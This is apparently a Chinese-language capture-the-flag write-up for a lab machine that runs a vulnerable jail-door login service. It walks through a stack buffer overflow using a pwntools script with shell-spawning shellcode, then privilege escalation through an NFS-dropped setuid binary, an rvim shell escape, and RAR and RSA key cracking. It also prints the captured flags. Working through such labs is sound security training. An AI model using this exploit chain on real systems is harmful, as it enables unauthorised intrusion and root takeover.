裡面他有用到一個execstack https://linux.die.net/man/8/execstack https://www.anquanke.com/post/id/196095
這串指令是 32 位元 ,關閉保護模式 (應該是這樣翻譯)

這意味著我可以對他用buffer overflow 來pwn他

程式碼
admin:1974jailbreak! 如果是bebug模式可以輸入buffer
int debugmode;
int handle(int sock);
int auth(char *username, char *password);
int auth(char *username, char *password) {
char userpass[16];
char *response;
if (debugmode == 1) {
printf("Debug: userpass buffer @ %p\n", userpass);
fflush(stdout);
}
if (strcmp(username, "admin") != 0) return 0;
strcpy(userpass, password);
if (strcmp(userpass, "1974jailbreak!") == 0) {
return 1;
} else {
printf("Incorrect username and/or password.\n");
return 0;
}
return 0;
}
開頭是user 跟pass 就可以繼續運行 或是debug mode 如果不是gotuser & gotpass =1 就會直接break
debugmode = 1 也會直接break 這邊 buffer 1024 username 256 passsword 256
int handle(int sock) {
int n;
int gotuser = 0;
int gotpass = 0;
char buffer[1024];
char strchr[2] = "\n\x00";
char *token;
char username[256];
char password[256];
debugmode = 0;
memset(buffer, 0, 256);
dup2(sock, STDOUT_FILENO);
dup2(sock, STDERR_FILENO);
printf("OK Ready. Send USER command.\n");
fflush(stdout);
while(1) {
n = read(sock, buffer, 1024);
if (n < 0) {
perror("ERROR reading from socket");
return 0;
}
token = strtok(buffer, strchr);
while (token != NULL) {
if (gotuser == 1 && gotpass == 1) {
break;
}
if (strncmp(token, "USER ", 5) == 0) {
strncpy(username, token+5, sizeof(username));
gotuser=1;
if (gotpass == 0) {
printf("OK Send PASS command.\n");
fflush(stdout);
}
} else if (strncmp(token, "PASS ", 5) == 0) {
strncpy(password, token+5, sizeof(password));
gotpass=1;
if (gotuser == 0) {
printf("OK Send USER command.\n");
fflush(stdout);
}
} else if (strncmp(token, "DEBUG", 5) == 0) {
if (debugmode == 0) {
debugmode = 1;
printf("OK DEBUG mode on.\n");
fflush(stdout);
} else if (debugmode == 1) {
debugmode = 0;
printf("OK DEBUG mode off.\n");
fflush(stdout);
}
}
token = strtok(NULL, strchr);
}
if (gotuser == 1 && gotpass == 1) {
break;
}
}
這裡單純只是如果輸入正確會print啥 錯誤會print啥 然後這裡會呼叫auth
if (auth(username, password)) {
printf("OK Authentication success. Send command.\n");
fflush(stdout);
n = read(sock, buffer, 1024);
if (n < 0) {
perror("Socket read error");
return 0;
}
if (strncmp(buffer, "OPEN", 4) == 0) {
printf("OK Jail doors opened.");
fflush(stdout);
} else if (strncmp(buffer, "CLOSE", 5) == 0) {
printf("OK Jail doors closed.");
fflush(stdout);
} else {
printf("ERR Invalid command.\n");
fflush(stdout);
return 1;
}
} else {
printf("ERR Authentication failed.\n");
fflush(stdout);
return 0;
}
return 0;
}
port = 7411 唯一有用的訊息
int main(int argc, char *argv[]) {
int sockfd;
int newsockfd;
int port;
int clientlen;
char buffer[256];
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int n;
int pid;
int sockyes;
sockyes = 1;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
perror("Socket error");
exit(1);
}
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &sockyes, sizeof(int)) == -1) {
perror("Setsockopt error");
exit(1);
}
memset((char*)&server_addr, 0, sizeof(server_addr));
port = 7411;
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(port);
if (bind(sockfd, (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) {
perror("Bind error");
exit(1);
}
listen(sockfd, 200);
clientlen = sizeof(client_addr);
while (1) {
newsockfd = accept(sockfd, (struct sockaddr*)&client_addr, &clientlen);
if (newsockfd < 0) {
perror("Accept error");
exit(1);
}
pid = fork();
if (pid < 0) {
perror("Fork error");
exit(1);
}
if (pid == 0) {
close(sockfd);
exit(handle(newsockfd));
} else {
close(newsockfd);
}
}
}
try
試試看 open

試試看 close

試試看debug mode 他給了buffer的位置(? 0xffffd610

所以我們應該是可以直接用shellcode cover buffer的
try pwn
先給程式權限,然後再執行他

這個可以查有沒有掛到

可以看到他在機器上有掛載

在gdb 裡面執行他之後 讓他執行

接著用nc去連接他

輸入admin 再用AAAAAAAA去塞他

可以看到我覆蓋到了 0x00414141

先把nc 斷開 我們要先去找覆蓋到的位置

可以看到他在 0x413b4141 crack

用gdb 算 offset 是 28

我塞了28個A + 4個B

他在0x42424242 (BBBB) crack

exploit part 1
#!/usr/bin/python3
from pwn import *
if args['REMOTE']:
ip = '10.10.10.34'
else:
ip = '127.0.0.1'
p = remote(ip,7411)
p.recvuntil(b"OK Ready. Send USER command.")
p.sendline(b"USER admin")
p.recvuntil(b"OK Send PASS command.")
p.sendline(b"DEBUG")
p.recvuntil(b"OK DEBUG mode on.")
p.sendline(b"PASS admin")
p.recvuntil(b"Debug: userpass buffer @ ")
userpass_addr = int(p.recvline(),16)
log.info(f"Got leak of userpass from server: 0x{userpass_addr:08x}")
p.close()
chatgpt解釋了08x是啥

右邊是開啟程序,左邊是可以抓到的addr 0xffffc840 (自己機器上的)

exploit part 2
現在抓到了offset 28 userpass -> (題目機器上的) 0xffffd610 & 0xffffc840 (自己機器上的)
#!/usr/bin/python3
from pwn import *
if args['REMOTE']:
ip = '10.10.10.34'
else:
ip = '127.0.0.1'
"""
p = remote(ip,7411)
p.recvuntil(b"OK Ready. Send USER command.")
p.sendline(b"USER admin")
p.recvuntil(b"OK Send PASS command.")
p.sendline(b"DEBUG")
p.recvuntil(b"OK DEBUG mode on.")
p.sendline(b"PASS admin")
p.recvuntil(b"Debug: userpass buffer @ ")
userpass_addr = int(p.recvline(),16)
log.info(f"Got leak of userpass from server: 0x{userpass_addr:08x}")
p.close()
"""
userpass_addr = 0xffffc840
payload = b"A" * 28
payload += p32(userpass_addr + 32)
payload += b"\xCC" * 16
p = remote(ip,7411)
p.recvuntil(b"OK Ready. Send USER command.")
p.sendline(b"USER admin")
p.recvuntil(b"OK Send PASS command.")
p.sendline(b"PASS "+payload)
可以看到eip 在0xffffc861 而\xCC 在他的前一個

exploit part 3
現在可以塞shellcode 進去 我花了點時間了解了shellcode 我發現他好像好像只是把reverse shell 換成組語 讓系統執行
我們可以用
– > 這個需要自己算自己的ip 然後開nc https://shell-storm.org/shellcode/files/shellcode-833.html
或是
這個執行上只要丟上去就好了 學術上會成功的原因 他好像是把 stdin stdout stderr 改成其他東西 然後執行 execve /bin/sh https://blog.csdn.net/silent123go/article/details/71108501
https://www.exploit-db.com/exploits/34060
fin exploit
#!/usr/bin/python3
from pwn import *
if args['REMOTE']:
ip = '10.10.10.34'
else:
ip = '127.0.0.1'
"""
p = remote(ip,7411)
p.recvuntil(b"OK Ready. Send USER command.")
p.sendline(b"USER admin")
p.recvuntil(b"OK Send PASS command.")
p.sendline(b"DEBUG")
p.recvuntil(b"OK DEBUG mode on.")
p.sendline(b"PASS admin")
p.recvuntil(b"Debug: userpass buffer @ ")
userpass_addr = int(p.recvline(),16)
log.info(f"Got leak of userpass from server: 0x{userpass_addr:08x}")
p.close()
"""
userpass_addr = 0xffffd610
shellcode = b"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6"
shellcode += b"\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80"
shellcode += b"\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6"
shellcode += b"\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
shellcode += b"\x89\xe3\x31\xc9\xcd\x80";
payload = b"A" * 28
payload += p32(userpass_addr + 32)
payload += shellcode
p = remote(ip,7411)
p.recvuntil(b"OK Ready. Send USER command.")
p.sendline(b"USER admin")
p.recvuntil(b"OK Send PASS command.")
p.sendline(b"PASS "+payload)
p.interactive()
nobody

可以發現有一個frank 的身分組

可以用logreader.sh 來升級

但我們不能對他做啥

但其實我們在前面掛載資料夾的時候有看過他 或是說我們也可以在這裡找到 是說我們如果用root身分進來會變成nobody 如果不是的話就是 1000的身分組

由於我們前面有掛共享資料夾 所以我們可以直接寫程式碼 改他的suid
//0xdf
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
setresuid(1000, 1000, 1000);
system("/bin/bash");
return 0;
}
掛載後touch一個file -static 跟上題一樣可以解決版本問題 4777 給他權限

直接執行他

frank

user.txt
75530c562f06d7ae4471922d84d80cbd

frank
sudo -l 可以看到可以升級成adm

我試著用他升級,但跑出這樣 他應該是個vim 只是不知道為何長這樣

我知道vim是下 :![command] 來執行編輯的 所以我去查了一下有沒有可以用的shell 來幫助我升級 https://gtfobins.github.io/gtfobins/rvim/#shell
我想如果是在裡面,是A 情況的話應該可以試試看

adm
:py import os; os.execl(“/bin/sh”, “sh”, “-c”, “reset; exec sh”)
反正就enter就好不要裡他就會成功了

adm

root
查看有adm 群組的檔案 後面那很方便是可以把proc的檔案濾掉 上面那些.s開頭的檔案應該都是我登入進去之後產生的

adm的主目錄

主目錄有三個檔案

他定義的鑰匙格式

rar裡面是root的ssh檔

他要密碼

裡面是亂碼

https://sites.google.com/site/cryptocrackprogram/user-guide/cipher-types/substitution/aristocratpatristocrat
https://rumkin.com/tools/cipher/atbash/ 我發現了這個
解出來是這個

逃離惡魔島 我記得的惡魔島除了霍金那個富人島以外(? 就是美國的一個監獄
所以我去查了 Alcatraz Escape 跑出一個 fbi的 history 如果這是密碼的線索 先說前提是 lastname + 4 digital + symbal
有三個人在不同年份跑出去了 下面是逃獄詳解
總之應該是 名字+年份+!(基本上都是驚嘆號)
Morris 1962 ! Anglin 1962 ! Anglin 1962 !
但我覺得應該是第一個Morris1962!

rar.key 的其他解法 番外文字版 (如果前面有用ssh就可以用這招但我懶惰沒有連)
先把key.rar 複製到 tmp 給他666 用scp 下載下來 用rar2john 轉成hash 再用hashcat 解開
root still
好像還是要把他弄下來 我把他轉成 base64

然後再把他轉回去

密碼輸入進去

解出來的東西又是被加密過的 理論上如果是ssh的話 通常加密方式都是rsa

所以這要用rsa去解 這邊有現成的工具 https://github.com/RsaCtfTool/RsaCtfTool.git https://blog.csdn.net/qq_43390703/article/details/108500236


記得存起來之後要給他600 然後要讓ssh知道他的type是ssh
root

root.txt
094cdf72e22fbef91610b927f6e1ecec
